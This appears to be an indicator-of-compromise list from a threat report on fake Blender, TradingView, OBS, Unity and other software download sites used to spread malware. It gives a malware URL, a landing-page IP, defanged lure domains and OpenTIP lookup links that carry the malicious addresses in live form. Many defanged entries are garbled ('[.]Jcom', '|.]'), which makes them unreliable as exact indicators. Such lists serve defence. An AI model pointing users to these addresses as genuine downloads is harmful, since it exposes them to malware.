http[:]//45.93.201[.]114/docs/[RandomChars].txt

URL with malware data string

91.229.23[.]200

IP address common for some
malicious landing pages

blahder3dsoft[.]store

Fake Blender websites

blender3d-download[.]Jcom

blender3d-download|.]net

blender3d-download].]org

blender3ds-download|.]Jcom

blender3ds-download|.]net

blender3ds-download|.]Jorg

blender3d-software[.]Jcom

blender3d-software][.]net

blender3d-software][.]org

blender3ds-software[.Jcom

blender3ds-software][.]Jnet

blender3ds-software][.]org

blender-download[.]Jcom

blender-download[.]net

blender-download].]org

blenders3d-download|.]Jcom

blenders3d-download|.]net

blenders3d-download|.]Jorg
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https://opentip.kaspersky.com/https%3A%2F%2Fdownload2392.mediafire.com%2Fbb289kqoibyg%2F1udjwornnpwxlua%2Fblender-3.4.1-windows-x64.zip/?utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/https%3A%2F%2Fgithub.com%2Fsup6724%2Fblender3d13%2Freleases%2Fdownload%2Fupdates%2Fblender-3.4.1-windows-x64.zip/?utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/https%3A%2F%2Fblahder3dsoft.store%2FBlender.rar/?utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/91.229.23.200/?utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/blahder3dsoft.store/?utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/blender3d-download.com/?utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/blender3d-download.net/?utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/blender3d-download.org/?utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/blender3ds-download.com/?utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/blender3ds-download.net/?utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/blender3ds-download.org/?utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/blender3d-software.com/?utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/blender3d-software.net/?utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/blender3d-software.org/?utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/blender3ds-software.com/?utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/blender3ds-software.com/?utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/blender3ds-software.net/?utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/blender3ds-software.net/?utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/blender3ds-software.org/?utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/blender3ds-software.org/?utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/blender-download.com/https:/opentip.kaspersky.com/blender-download.com/?utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/blender-download.net/?utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/blender-download.org/?utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/blenders3d-download.com/?utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/blenders3d-download.net/?utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/blenders3d-download.org/?utm_source=SL&utm_medium=SL&utm_campaign=SL

afterburnermsi-download[.]Jcom

Other suspicious software-themed
domains related through the same
IP address

afterburner-software][.]net

afterburner-softwarel[.Jorg

desktop-tradingview|.]net

desktop-tradingview][.]org

download-tradingview[.]net

download-tradingview].]org

overclock-msi[.Jcom

overclock-msi[.]net

overclock-msi[.Jorg

project-obs|.Jcom

project-obs|.]net

project-obs|.Jorg

studio-obs[.]Jcom

studio-obs|.]net

studio-obs|.]org

tradingview-software[.]Jcom

tradingview-software][.]net

tradingview-softwarel[.]Jorg

tradingviews-software[.Jcom

tradingviews-software[.]net

tradingviews-software[.]org

unity-download[.]Jcom

unity-download[.]net

unity-download][,]org
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https://opentip.kaspersky.com/desktop-tradingview.net/?utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/desktop-tradingview.org/?utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/download-tradingview.net/?utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/download-tradingview.org/?utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/overclock-msi.com/?utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/overclock-msi.net/?utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/overclock-msi.org/?utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/project-obs.com/?utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/project-obs.net/?utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/project-obs.org/?utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/studio-obs.com/?utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/studio-obs.net/?utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/studio-obs.org/?utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/tradingview-software.com/?utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/tradingview-software.net/?utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/tradingview-software.org/?utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/tradingviews-software.com/?utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/tradingviews-software.net/?utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/tradingviews-software.org/?utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/unity-download.com/?utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/unity-download.net/?utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/unity-download.org/?utm_source=SL&utm_medium=SL&utm_campaign=SL

unityhub-download[.]Jcom

unityhub-download|.]net

unityhub-download|.]org

unity-software][.]Jnet

unity-software][.]org

webull-download[.]Jcom

webull-download[.]net

webull-download].]org
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